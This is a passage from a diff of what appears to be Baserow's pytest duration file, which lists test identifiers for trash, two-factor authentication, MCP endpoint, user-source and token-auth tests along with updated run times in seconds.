"tests/baserow/api/test_api_utils.py::test_parse_limit_linked_items_params": 0.014998208003817126, + "tests/baserow/api/test_api_utils.py::test_throttle_set_baserow_concurrency_throttle_request_id_and_middleware_can_get_it": 0.08614312397548929, + "tests/baserow/api/test_api_utils.py::test_validate_data": 0.013441249029710889, + "tests/baserow/api/test_api_utils.py::test_validate_data_custom_fields": 0.013150083017535508, + "tests/baserow/api/test_mcp_views.py::test_create_endpoint": 0.10369504103437066, + "tests/baserow/api/test_mcp_views.py::test_delete_endpoint": 0.1728207079868298, + "tests/baserow/api/test_mcp_views.py::test_get_endpoint": 0.16696412599412724, + "tests/baserow/api/test_mcp_views.py::test_list_endpoints": 0.09000650100642815, + "tests/baserow/api/test_mcp_views.py::test_update_endpoint": 0.1787870840053074, + "tests/baserow/api/test_redoc.py::test_can_generate_open_api_schema": 0.8069152500247583, + "tests/baserow/api/test_searchable_view_mixin.py::test_searchable_view_mixin_apply_search": 0.04289849998895079, + "tests/baserow/api/test_searchable_view_mixin.py::test_searchable_view_mixin_apply_search_default": 0.034559958992758766, + "tests/baserow/api/test_searchable_view_mixin.py::test_searchable_view_mixin_apply_search_no_search_fields": 0.039868708001449704, + "tests/baserow/api/test_sortable_view_mixin.py::test_sortable_view_mixin_apply_sorts_or_default_sort_default": 0.033037165994755924, + "tests/baserow/api/test_sortable_view_mixin.py::test_sortable_view_mixin_apply_sorts_or_default_sort_invalid_attribute": 0.0282631260342896, + "tests/baserow/api/test_sortable_view_mixin.py::test_sortable_view_mixin_apply_sorts_or_default_sort_invalid_sort_direction": 0.02800695801852271, + "tests/baserow/api/test_sortable_view_mixin.py::test_sortable_view_mixin_apply_sorts_or_default_sort_key_ascending": 0.04492474996368401, + "tests/baserow/api/test_sortable_view_mixin.py::test_sortable_view_mixin_apply_sorts_or_default_sort_key_descending": 0.040371500042965636, + "tests/baserow/api/trash/test_trash_views.py::test_can_get_trash_contents_for_undeleted_app": 0.09124020900344476, "tests/baserow/api/trash/test_trash_views.py::test_can_get_trash_contents_for_undeleted_group": 0.06038112599708256, - "tests/baserow/api/trash/test_trash_views.py::test_can_get_trash_contents_for_undeleted_workspace": 0.1495897500008141, - "tests/baserow/api/trash/test_trash_views.py::test_can_get_trash_structure": 0.20427545700022165, - "tests/baserow/api/trash/test_trash_views.py::test_can_restore_a_deleted_trash_item": 0.1846130419999099, - "tests/baserow/api/trash/test_trash_views.py::test_cant_delete_same_item_twice": 0.44902695800010406, + "tests/baserow/api/trash/test_trash_views.py::test_can_get_trash_contents_for_undeleted_workspace": 0.0892561670334544, + "tests/baserow/api/trash/test_trash_views.py::test_can_get_trash_structure": 0.16234191702096723, + "tests/baserow/api/trash/test_trash_views.py::test_can_restore_a_deleted_trash_item": 0.13580908297444694, + "tests/baserow/api/trash/test_trash_views.py::test_cant_delete_same_item_twice": 0.5079482510045636, "tests/baserow/api/trash/test_trash_views.py::test_cant_restore_a_deleted_trash_item_if_not_in_group": 0.13098369799627108, - "tests/baserow/api/trash/test_trash_views.py::test_cant_restore_a_deleted_trash_item_if_not_in_workspace": 0.30621379099920887, - "tests/baserow/api/trash/test_trash_views.py::test_cant_restore_a_non_existent_trashed_item": 0.14695258300071146, - "tests/baserow/api/trash/test_trash_views.py::test_cant_restore_a_trash_item_marked_for_perm_deletion": 0.20065941799930442, - "tests/baserow/api/trash/test_trash_views.py::test_cant_restore_a_trashed_item_requiring_a_parent_id_without_providing_it": 0.18913954200070293, - "tests/baserow/api/trash/test_trash_views.py::test_cant_restore_a_trashed_item_with_a_missing_parent": 0.18571287499980826, + "tests/baserow/api/trash/test_trash_views.py::test_cant_restore_a_deleted_trash_item_if_not_in_workspace": 0.19042391606490128, + "tests/baserow/api/trash/test_trash_views.py::test_cant_restore_a_non_existent_trashed_item": 0.08443058398552239, + "tests/baserow/api/trash/test_trash_views.py::test_cant_restore_a_trash_item_marked_for_perm_deletion": 0.1617627090017777, + "tests/baserow/api/trash/test_trash_views.py::test_cant_restore_a_trashed_item_requiring_a_parent_id_without_providing_it": 0.14100108199636452, + "tests/baserow/api/trash/test_trash_views.py::test_cant_restore_a_trashed_item_with_a_missing_parent": 0.14618637604871765, "tests/baserow/api/trash/test_trash_views.py::test_deleting_a_group_moves_it_to_the_trash_and_hides_it": 0.09128041100120754, - "tests/baserow/api/trash/test_trash_views.py::test_deleting_a_user_who_trashed_something_returns_null_user_who_trashed": 0.3141784999997981, - "tests/baserow/api/trash/test_trash_views.py::test_deleting_a_workspace_moves_it_to_the_trash_and_hides_it": 0.17968741699951352, + "tests/baserow/api/trash/test_trash_views.py::test_deleting_a_user_who_trashed_something_returns_null_user_who_trashed": 0.21247145798406564, + "tests/baserow/api/trash/test_trash_views.py::test_deleting_a_workspace_moves_it_to_the_trash_and_hides_it": 0.1271297919738572, "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_app_for_diff_group_returns_400": 0.06847407199893496, - "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_app_for_diff_workspace_returns_400": 0.14847637500042765, - "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_non_existent_app_returns_404": 0.1455551250010103, + "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_app_for_diff_workspace_returns_400": 0.08971941797062755, + "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_non_existent_app_returns_404": 0.08416966701042838, "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_non_existent_group_returns_404": 0.057019514995772624, - "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_non_existent_workspace_returns_404": 0.14460316700024123, - "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_trashed_app_marks_it_for_perm_deletion": 0.17878200100039976, + "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_non_existent_workspace_returns_404": 0.08530674999929033, + "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_trashed_app_marks_it_for_perm_deletion": 0.13156129195704125, "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_trashed_group_marks_it_for_perm_deletion": 0.08552335699641844, - "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_trashed_workspace_marks_it_for_perm_deletion": 0.1739144170005602, + "tests/baserow/api/trash/test_trash_views.py::test_emptying_a_trashed_workspace_marks_it_for_perm_deletion": 0.12794054101686925, "tests/baserow/api/trash/test_trash_views.py::test_getting_a_app_for_diff_group_returns_400": 0.06224402799853124, - "tests/baserow/api/trash/test_trash_views.py::test_getting_a_app_for_diff_workspace_returns_400": 0.14757937499962281, - "tests/baserow/api/trash/test_trash_views.py::test_getting_a_non_existent_app_returns_404": 0.14594566699997813, + "tests/baserow/api/trash/test_trash_views.py::test_getting_a_app_for_diff_workspace_returns_400": 0.08774108198122121, + "tests/baserow/api/trash/test_trash_views.py::test_getting_a_non_existent_app_returns_404": 0.08472845799406059, "tests/baserow/api/trash/test_trash_views.py::test_getting_a_non_existent_group_returns_404": 0.05834905300071114, - "tests/baserow/api/trash/test_trash_views.py::test_getting_a_non_existent_workspace_returns_404": 0.14433433299927856, - "tests/baserow/api/trash/test_trash_views.py::test_restoring_a_field_which_depends_on_trashed_table_fails": 0.3313330840001072, - "tests/baserow/api/trash/test_trash_views.py::test_restoring_an_item_which_doesnt_need_parent_id_with_one_returns_error": 0.17261283199968602, + "tests/baserow/api/trash/test_trash_views.py::test_getting_a_non_existent_workspace_returns_404": 0.08377962600206956, + "tests/baserow/api/trash/test_trash_views.py::test_managed_trash_entries_excluded_from_contents": 0.11222749899025075, + "tests/baserow/api/trash/test_trash_views.py::test_restoring_a_field_which_depends_on_trashed_table_fails": 0.38412729202536866, + "tests/baserow/api/trash/test_trash_views.py::test_restoring_an_item_which_doesnt_need_parent_id_with_one_returns_error": 0.12249525098013692, + "tests/baserow/api/trash/test_trash_views.py::test_restoring_managed_trash_entry_disallowed": 0.10743562303832732, "tests/baserow/api/trash/test_trash_views.py::test_user_cant_empty_trash_contents_for_group_they_are_not_a_member_of": 0.13140755599670229, - "tests/baserow/api/trash/test_trash_views.py::test_user_cant_empty_trash_contents_for_workspace_they_are_not_a_member_of": 0.3047334579996459, + "tests/baserow/api/trash/test_trash_views.py::test_user_cant_empty_trash_contents_for_workspace_they_are_not_a_member_of": 0.3495097500272095, "tests/baserow/api/trash/test_trash_views.py::test_user_cant_get_trash_contents_for_group_they_are_not_a_member_of": 0.1297962259995984, - "tests/baserow/api/trash/test_trash_views.py::test_user_cant_get_trash_contents_for_workspace_they_are_not_a_member_of": 0.3071155009984068, - "tests/baserow/api/user_files/test_user_files_serializers.py::test_user_file_field": 0.14509725099924253, + "tests/baserow/api/trash/test_trash_views.py::test_user_cant_get_trash_contents_for_workspace_they_are_not_a_member_of": 0.1876171659969259, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configuration_2fa_view_cannot_be_configured": 0.08356729202205315, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configuration_2fa_view_not_authenticated": 0.01584412599913776, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configuration_2fa_view_not_configured": 0.08382845902815461, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configuration_2fa_view_totp_enabled": 0.09268362500006333, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configuration_2fa_view_totp_not_enabled": 0.09094237399403937, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configure_2fa_view_cannot_be_configured": 0.08351937698898837, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configure_2fa_view_not_authenticated": 0.01587937501608394, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configure_2fa_view_type_does_not_exist": 0.0828685000014957, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configure_2fa_view_type_not_provided": 0.08262195801944472, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configure_totp_2fa_view": 0.1016198750003241, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configure_totp_2fa_view_confirmation_failed_invalidcode": 0.09765224999864586, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configure_totp_2fa_view_failed_already_configured": 0.09467187500558794, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_configure_totp_2fa_view_replaces_previous_configuration": 0.10471487601171248, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_disable_2fa_view": 0.1618602920207195, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_disable_2fa_view_missing_password": 0.08400804302073084, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_disable_2fa_view_not_authenticated": 0.015046667016576976, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_disable_2fa_view_not_configured": 0.15111312502995133, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_disable_2fa_view_wrong_password": 0.14850974999717437, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_verify_totp_backup_code_view": 0.17052091701771133, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_verify_totp_backup_code_view_invalid": 0.15961737596080638, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_verify_totp_code_view": 0.17196854099165648, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_verify_totp_code_view_invalid": 0.16232120897620916, + "tests/baserow/api/two_factor_auth/test_two_factor_views.py::test_verify_totp_view_missing_email": 0.16153487502015196, + "tests/baserow/api/user_files/test_user_files_serializers.py::test_user_file_field": 0.0850617510441225, "tests/baserow/api/user_files/test_user_files_views.py::test_upload_file": 0.0928022229927592, "tests/baserow/api/user_files/test_user_files_views.py::test_upload_file_via_url": 0.07978095099679194, - "tests/baserow/api/user_files/test_user_files_views.py::test_upload_file_via_url_with_jwt_auth": 0.17760524999994232, - "tests/baserow/api/user_files/test_user_files_views.py::test_upload_file_via_url_with_token_auth": 0.16713220800011186, - "tests/baserow/api/user_files/test_user_files_views.py::test_upload_file_via_url_within_private_network": 0.14787416699982714, - "tests/baserow/api/user_files/test_user_files_views.py::test_upload_file_with_jwt_auth": 0.17527258300015092, - "tests/baserow/api/user_files/test_user_files_views.py::test_upload_file_with_token_auth": 0.2126232489999893, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token": 0.15194220800003677, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_invalid_source": 0.14773495799909142, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_no_auth": 0.14580737600044813, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_no_creds": 0.1514223320000383, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_other_user": 0.2834670419997565, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_published": 0.2804772090003098, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_published_no_auth": 0.28004483400036406, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_user_not_found": 0.15069270900130505, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_get_user_sources_with_user_source_auth_token": 0.3084489170005327, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token": 0.28259083299963095, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_already_auth_other_user": 0.41977283299911505, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_auth_failed": 0.2840159590004987, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_invalid_user_source": 0.2827253750001546, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_missing_user": 0.28614162399844645, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_no_creds": 0.28287112599991815, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_not_configured": 0.2829768339988732, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_unpublished": 0.15336862399999518, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_unpublished_but_auth": 0.15381737600000633, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token": 0.29595691700160387, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_another_token": 0.2778035000001182, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_blacklisted": 0.27965237500029616, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_fails_with_deleted_user": 0.2829570420008167, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_invalid_token": 0.27890341700003773, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_no_refresh": 0.28136375000121916, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_no_user_source": 0.28180633400006627, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_unpublished": 0.15162379100002, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_unpublished_auth": 0.15685179100091773, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_update_user": 0.2801313339996341, - "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_user_source_token_blacklist": 0.013863832999959413, - "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_auth_get_header": 0.2767000410003675, - "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_authenticate": 0.2865105829987442, - "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_authenticate_missing_user": 0.2798317490005502, - "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_authenticate_with_custom_header": 0.15554233299917541, - "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_missing_user": 0.27884787599850824, - "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_with_custom_header_if_no_permission": 0.4247047090002525, - "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_with_invalid_token": 0.27895970800000214, - "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_with_invalid_user_source_uid": 0.28271425100047054, - "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_with_main_auth_token": 0.28018208499997854, - "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_with_refresh_token": 0.2796421670009295, - "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_with_unpublished_user_source": 0.16289445900019928, - "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source": 0.28449499999987893, - "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_application_does_not_exist": 0.1480802930009304, - "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_bad_application_type": 0.28537833300015336, - "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_missing_properties": 0.2819704180001281, - "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_missing_type": 0.2810626670006968, - "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_permission_denied": 0.2821754590004275, - "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_w_auth_provider_missing_type": 0.28208508399984566, - "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_w_auth_provider_wrong_type": 0.2899653329995999, - "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_w_auth_providers": 0.2926865840008759, - "tests/baserow/api/user_sources/test_user_source_views.py::test_delete_user_source": 0.15119599999979982, - "tests/baserow/api/user_sources/test_user_source_views.py::test_delete_user_source_permission_denied": 0.14940954100075032, - "tests/baserow/api/user_sources/test_user_source_views.py::test_delete_user_source_user_source_not_exist": 0.14809533400057262, - "tests/baserow/api/user_sources/test_user_source_views.py::test_get_user_source_users": 0.15428266699927917, - "tests/baserow/api/user_sources/test_user_source_views.py::test_get_user_source_users_missing_application": 0.14605595900047774, - "tests/baserow/api/user_sources/test_user_source_views.py::test_get_user_source_users_with_search": 0.15985633299987967, - "tests/baserow/api/user_sources/test_user_source_views.py::test_get_user_sources": 0.2924606260003202, - "tests/baserow/api/user_sources/test_user_source_views.py::test_get_user_sources_w_auth_providers": 0.1585904589992424, - "tests/baserow/api/user_sources/test_user_source_views.py::test_move_user_source_bad_before_id": 0.1492241260002629, - "tests/baserow/api/user_sources/test_user_source_views.py::test_move_user_source_before": 0.1561461250003049, - "tests/baserow/api/user_sources/test_user_source_views.py::test_move_user_source_before_not_in_same_application": 0.15474341699882643, - "tests/baserow/api/user_sources/test_user_source_views.py::test_move_user_source_empty_payload": 0.1591860420003286, - "tests/baserow/api/user_sources/test_user_source_views.py::test_move_user_source_null_before_id": 0.15455312399990362, - "tests/baserow/api/user_sources/test_user_source_views.py::test_update_user_source": 0.15609362599934684, - "tests/baserow/api/user_sources/test_user_source_views.py::test_update_user_source_does_not_exist": 0.14782329200079403, - "tests/baserow/api/user_sources/test_user_source_views.py::test_update_user_source_w_auth_providers": 0.16869620800116536, - "tests/baserow/api/user_sources/test_user_source_views.py::test_update_user_source_w_missing_auth_provider_type": 0.14893662500071514, - "tests/baserow/api/user_sources/test_user_source_views.py::test_update_user_source_with_bad_auth_providers": 0.1533685840004182, - "tests/baserow/api/users/test_token_auth.py::test_refresh_token_email_verification_not_enforced": 0.2942037070015431, - "tests/baserow/api/users/test_token_auth.py::test_refresh_token_email_verification_not_required": 0.15490049900017766, - "tests/baserow/api/users/test_token_auth.py::test_refresh_token_email_verification_not_required_staff": 0.29569829199954256, - "tests/baserow/api/users/test_token_auth.py::test_refresh_token_email_verification_required": 0.28713083300044673, - "tests/baserow/api/users/test_token_auth.py::test_refresh_token_is_invalidated_after_password_change": 0.6020356670014735, - "tests/baserow/api/users/test_token_auth.py::test_token_auth": 1.4341139170001043, - "tests/baserow/api/users/test_token_auth.py::test_token_auth_email_verification_not_required": 0.29529879200072173, - "tests/baserow/api/users/test_token_auth.py::test_token_auth_email_verification_not_required_staff": 0.31084762399950705, - "tests/baserow/api/users/test_token_auth.py::test_token_auth_email_verification_required": 0.29109212400089746, - "tests/baserow/api/users/test_token_auth.py::test_token_blacklist": 0.1473182910003743, - "tests/baserow/api/users/test_token_auth.py::test_token_password_auth_disabled": 0.2873416670008737, - "tests/baserow/api/users/test_token_auth.py::test_token_password_auth_disabled_superadmin": 0.28494620799847326, - "tests/baserow/api/users/test_token_auth.py::test_token_refresh": 0.17748012500032928, - "tests/baserow/api/users/test_token_auth.py::test_token_verify": 0.16988570899866318, - "tests/baserow/api/users/test_token_auth.py::test_token_verify_email_verification_not_required": 0.17405491799945594, - "tests/baserow/api/users/test_token_auth.py::test_token_verify_email_verification_not_required_staff": 0.32657183399896894, - "tests/baserow/api/users/test_token_auth.py::test_token_verify_email_verification_required": 0.28830966700024874, - "tests/baserow/api/users/test_token_auth.py::test_verify_token_is_invalidated_after_password_change": 0.6094890419999501, - "tests/baserow/api/users/test_user_views.py::test_additional_user_data": 0.30145954100134986, - "tests/baserow/api/users/test_user_views.py::test_change_password": 1.1498280840005464, - "tests/baserow/api/users/test_user_views.py::test_change_password_auth_disabled": 0.1481814159988062, - "tests/baserow/api/users/test_user_views.py::test_change_password_auth_disabled_staff": 0.5402510000003531, - "tests/baserow/api/users/test_user_views.py::test_create_user": 0.7143957499993121, - "tests/baserow/api/users/test_user_views.py::test_create_user_password_auth_disabled": 0.14471250199949282, - "tests/baserow/api/users/test_user_views.py::test_create_user_with_invitation": 0.30746479199933674, - "tests/baserow/api/users/test_user_views.py::test_create_user_with_template": 0.2646582080005828, - "tests/baserow/api/users/test_user_views.py::test_dashboard": 0.5443082089987001, - "tests/baserow/api/users/test_user_views.py::test_password_reset": 1.2086220020000837, - "tests/baserow/api/users/test_user_views.py::test_password_reset_email_verified_email": 0.4717675000010786, - "tests/baserow/api/users/test_user_views.py::test_schedule_user_deletion": 0.28636749900033465, - "tests/baserow/api/users/test_user_views.py::test_send_reset_password_email": 0.4455724170002213, - "tests/baserow/api/users/test_user_views.py::test_send_reset_password_email_password_auth_disabled": 0.14717470799951116, - "tests/baserow/api/users/test_user_views.py::test_send_reset_password_email_password_auth_disabled_staff": 0.29825183399862, - "tests/baserow/api/users/test_user_views.py::test_send_verify_email_address": 0.30502966700078105, - "tests/baserow/api/users/test_user_views.py::test_send_verify_email_address_already_verified": 0.14773045900074067, - "tests/baserow/api/users/test_user_views.py::test_send_verify_email_address_inactive_user": 0.1473225409999941, - "tests/baserow/api/users/test_user_views.py::test_send_verify_email_address_user_not_found": 0.1705069600002389, - "tests/baserow/api/users/test_user_views.py::test_share_onboarding_details_with_baserow": 0.15140729200084024, - "tests/baserow/api/users/test_user_views.py::test_token_error_if_user_deleted_or_disabled": 0.1535463330001221, - "tests/baserow/api/users/test_user_views.py::test_user_account": 0.15942233399891848, + "tests/baserow/api/user_files/test_user_files_views.py::test_upload_file_via_url_with_jwt_auth": 0.10720674996264279, + "tests/baserow/api/user_files/test_user_files_views.py::test_upload_file_via_url_with_token_auth": 0.11338716599857435, + "tests/baserow/api/user_files/test_user_files_views.py::test_upload_file_via_url_within_private_network": 0.0904317089880351, + "tests/baserow/api/user_files/test_user_files_views.py::test_upload_file_with_jwt_auth": 0.1259513760160189, + "tests/baserow/api/user_files/test_user_files_views.py::test_upload_file_with_token_auth": 0.13583666700287722, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token": 0.09736854003858753, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_invalid_source": 0.09167966598761268, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_no_auth": 0.0884876660129521, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_no_creds": 0.09667220897972584, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_other_user": 0.1615877500444185, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_published": 0.16428770800121129, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_published_no_auth": 0.15896754097775556, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_force_obtain_json_web_token_user_not_found": 0.0962429589999374, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_get_user_sources_with_user_source_auth_token": 0.20786366597167216, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token": 0.16724662503111176, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_already_auth_other_user": 0.23264783501508646, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_auth_failed": 0.16394595801830292, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_invalid_user_source": 0.1617444989969954, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_missing_user": 0.16248600001563318, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_no_creds": 0.16537637400324456, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_not_configured": 0.1641889589955099, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_unpublished": 0.09455595698091201, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_obtain_json_web_token_unpublished_but_auth": 0.0972673739597667, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token": 0.17865933300345205, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_another_token": 0.1589530420023948, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_blacklisted": 0.1598480419779662, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_fails_with_deleted_user": 0.1653532490017824, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_fails_with_trashed_table": 0.18079591600690037, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_invalid_token": 0.16075091596576385, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_no_refresh": 0.15992545799235813, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_no_user_source": 0.16065387497656047, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_unpublished": 0.09547108301194385, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_unpublished_auth": 0.09592975000850856, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_refresh_json_web_token_update_user": 0.16675470903282985, + "tests/baserow/api/user_sources/test_user_source_auth_views.py::test_user_source_token_blacklist": 0.02357845797087066, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_auth_get_header": 0.14923291796003468, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_authenticate": 0.16347779196803458, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_authenticate_missing_user": 0.16000320797320455, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_authenticate_with_custom_header": 0.10124620801070705, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_authentication_handles_deleted_application[False]": 0.09096837398828939, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_authentication_handles_deleted_application[True]": 0.0903143750037998, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_missing_user": 0.158446500019636, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_with_custom_header_if_no_permission": 0.23960983200231567, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_with_invalid_token": 0.15774062598939054, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_with_invalid_user_source_uid": 0.1617764169932343, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_with_main_auth_token": 0.1592192910029553, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_with_refresh_token": 0.15918391800369136, + "tests/baserow/api/user_sources/test_user_source_authentication_backend.py::test_user_source_dont_authenticate_with_unpublished_user_source": 0.1031309989921283, + "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source": 0.1755067910416983, + "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_application_does_not_exist": 0.08482837400515564, + "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_bad_application_type": 0.1599438739940524, + "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_missing_properties": 0.15806437499122694, + "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_missing_type": 0.15453962597530335, + "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_permission_denied": 0.15912849898450077, + "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_w_auth_provider_missing_type": 0.15692916596890427, + "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_w_auth_provider_wrong_type": 0.16714529201271944, + "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_w_auth_providers": 0.16850654198788106, + "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_w_auth_providers_w_domain": 0.16866754097281955, + "tests/baserow/api/user_sources/test_user_source_views.py::test_create_user_source_w_auth_providers_w_wrong_domain": 0.1567061259993352, + 